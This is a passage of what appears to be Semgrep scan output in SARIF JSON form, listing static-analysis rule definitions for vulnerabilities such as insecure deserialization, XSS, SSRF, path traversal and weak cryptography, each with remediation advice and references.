CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-dill)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-dill","id":"python.lang.security.deserialization.pickle.avoid-dill","name":"python.lang.security.deserialization.pickle.avoid-dill","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-dill"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC)."},"help":{"markdown":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://zhangzeyu2001.medium.com/attacking-cbc-mode-bit-flipping-7e0a1c185511](https://zhangzeyu2001.medium.com/attacking-cbc-mode-bit-flipping-7e0a1c185511)\n - [https://arxumpathsecurity.com/blog/2019/10/16/cbc-mode-is-malleable-dont-trust-it-for-authentication](https://arxumpathsecurity.com/blog/2019/10/16/cbc-mode-is-malleable-dont-trust-it-for-authentication)\n","text":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC)."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","id":"swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","name":"swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach `sandbox`."},"help":{"markdown":"Make sure that unverified user data can not reach `sandbox`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-sandbox-injection.express-sandbox-code-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `sandbox`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","id":"javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","name":"javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-sandbox-injection.express-sandbox-code-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"help":{"markdown":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","id":"swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","name":"swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-secure-missing.django-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","id":"python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","name":"python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-secure-missing.django-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","id":"python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","name":"python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","id":"python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","name":"python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server."},"help":{"markdown":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.script.serialization.simpletyperesolver?view=netframework-4.8#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.web.script.serialization.simpletyperesolver?view=netframework-4.8#remarks)\n","text":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","id":"csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","name":"csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","id":"python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","name":"python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-httponly-false.django-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","id":"python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","name":"python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-httponly-false.django-cookie-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane."},"help":{"markdown":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.android.security.exported_activity.exported_activity)\n - [https://cwe.mitre.org/data/definitions/926.html](https://cwe.mitre.org/data/definitions/926.html)\n","text":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane."},"helpUri":"https://semgrep.dev/r/java.android.security.exported_activity.exported_activity","id":"java.android.security.exported_activity.exported_activity","name":"java.android.security.exported_activity.exported_activity","properties":{"precision":"very-high","tags":["CWE-926: Improper Export of Android Application Components","MEDIUM CONFIDENCE","OWASP-A5:2021 Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.android.security.exported_activity.exported_activity"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","id":"java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","name":"java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"help":{"markdown":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","id":"python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","name":"python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied."},"help":{"markdown":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","id":"cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","name":"cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead."},"help":{"markdown":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected DES cipher algorithm 